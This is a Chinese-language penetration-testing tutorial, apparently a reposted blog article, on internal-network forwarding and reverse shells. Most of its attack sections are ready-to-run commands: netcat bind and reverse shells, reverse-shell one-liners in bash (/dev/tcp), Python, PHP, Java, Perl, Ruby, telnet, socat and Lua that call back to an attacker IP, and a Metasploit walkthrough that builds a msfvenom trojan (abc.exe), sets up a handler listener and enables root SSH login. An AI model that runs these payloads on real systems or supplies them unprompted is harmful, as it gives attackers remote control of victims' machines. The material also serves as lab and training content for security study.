内网转发——反弹shell

内网转发的目的:

渗透测试中,我们往往会面对十分复杂的内网环境,比如最常用的防火墙,它会限制特定端口的数据包出入。

代理方式:

正向代理:正向代理是服务器开放端口,客户端主动访问服务器的端口。正向代理的过程是它隐藏了真实的请求客户端,服务端不知道真实的客户端是谁,客户端请求的服务都被代理服务器代替来请求。

   

反向代理:反向代理是客户端开发端口,服务器连接客户端。反向代理是相对于服务器而言的,当我们请求 www.baidu.com 的时候,背后可能有成千上万台服务器为我们服务,但具体是哪一台,不需要知道,你只需要知道反向代理服务器是谁就好了,www.baidu.com 就是我们的反向代理服务器,反向代理服务器会帮我们把请求转发到真实的服务器那里去,比如说负载均衡

内网转发的三种形式:

1.反弹shell:在攻击者机器,获取受害者机器的命令行

2.反弹端口:受害者服务器的某一个端口不能访问,我们通过反弹端口的形式,让攻击者能够访问该端口,也叫端口转发

3.反弹代理:将攻击者的流量转发到内网其他服务器上

实验一:利用nc工具反弹shell

实验环境:win2008、win2010

实验步骤:

一、利用nc正向连接shell

1.将被控服务器shell反弹到本地的4444端口,并监听4444端口,受害者输入以下命令;

nc -lvp 4444 -e cmd.exe      (反弹windows shell)
nc -lvp 4444 -e /bin/bash     (反弹linux shell)

本实验以windows为例:

2.攻击机连接被控服务器的4444端口,攻击者输入:

nc -vv 受害机ip 4444

  

  

二、利用nc反弹shell

1.攻击机监听4444端口,攻击机输入:

nc -lvp 4444

本实验以windows为例:

   

2.将被控服务器shell反弹到外网服务器的4444端口,受害机输入:

nc -e cmd.exe 攻击机ip 4444      (反弹windows shell)
nc -e /bin/bash 攻击机ip 4444    (反弹linux shell)

  

 

实验二:linux其他方式反弹shell

实验环境:kali、win2008

使用方法:

1、bash反弹

接收端输入:

nc -lvvp 端口

发送端输入:

bash -i >& /dev/tcp/攻击者ip/9985 0>&1

2、python反弹

接收端输入:

nc -lvvp 端口

发送端输入:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("接收端ip",接收端端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

3、php反弹

接收端输入:

nc -lvvp 端口

发送端输入:

php -r '$sock=fsockopen("攻击者ip",端口);exec("/bin/sh -i <&3 >&3 2>&3");'

4、java反弹

接收端输入:

nc -lvvp 端口

发送端输入;

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/攻击者ip/端口;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()

5、perl反弹

接收端输入:

nc -lvvp 端口

发送端输入:

perl -e 'use Socket;$i="攻击者ip";$p=攻击者端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

6、ruby反弹

接收端输入:

nc -lvvp 端口

发送端输入:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("攻击者ip","端口");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

7、telnet反弹

接收端输入:

nc -lvvp 端口

发送端输入:

mknod backpipe p && telnet 攻击者ip 端口 0<backpipe | /bin/bash 1>backpipe

8.socat反弹(tcp)

接收端输入:

./socat TCP-LISTEN:端口 -

发送端输入:

./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击机ip:攻击机端口

9.socat反弹(udp)

接收端输入:

nc -lvvp 8080

发送端输入:

socat udp-connect:攻击者ip:端口 exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &

10.lua反弹

接收端输入:

nc -lvvp 端口

发送端输入:

lua -e "local s=require('socket');local t=assert(s.tcp());t:connect('攻击者ip',端口);while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();"

实验三:利用工具Msf

Msf常用的几个工具:

                         1.msconsole
                          管理生成的exp  管理反弹的shell  通过反弹的shell进行后渗透。。。。
                         2.msfvenom
                           制作木马
                         3.msfencode
                           对木马进行编码
                         4.Auxiliary
                           辅助模块
                         5.meterpreter
                           连接 

使用步骤:

1.打开终端,输入msconsole进入

2.查看各payloads的内容:show payloads

3.选择meterpreter和reverse的payloads进行反弹

4.此例选择:windows/x64/meterpreter_reverse_tcp,输入user windows/x64/meterpreter_reverse_tcp,也可输入show options查看使用方法

5.制作木马

 msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=本机ip lpot=4444 -f exe -o abc.exe

  

6.将abc.exe文件弄到物理机,在home里,也可开启ssh服务:/etc/init.d/ssh start,然后修改其配置文件:vi /etc/init.d/ssh/sshd_config,
   将其里边的32行:PermitRootLogin 后边删除写成yes,并且将前边注释去掉,之后重启ssh,即可连接

7.将编译好的木马传到受害机:sz abc.exe

8.exit退出,重新进msconsole,并输入use exploit/multi/handler进入管理工具

9.设置监听刚才生成木马的同一payload:set payload windows/x64/meterpreter_reverse_tcp

10.配置管理及ip:set lhost 本机ip

11.执行管理工具:exploit ,启动4444端口的监听

12.双击刚上传的abc.exe,即可看到连接成功

13.输入?可查看攻击命令,之后进行攻击即可

发布了63 篇原创文章 · 获赞 75 · 访问量 3854

猜你喜欢

转载自blog.csdn.net/cxrpty/article/details/104906657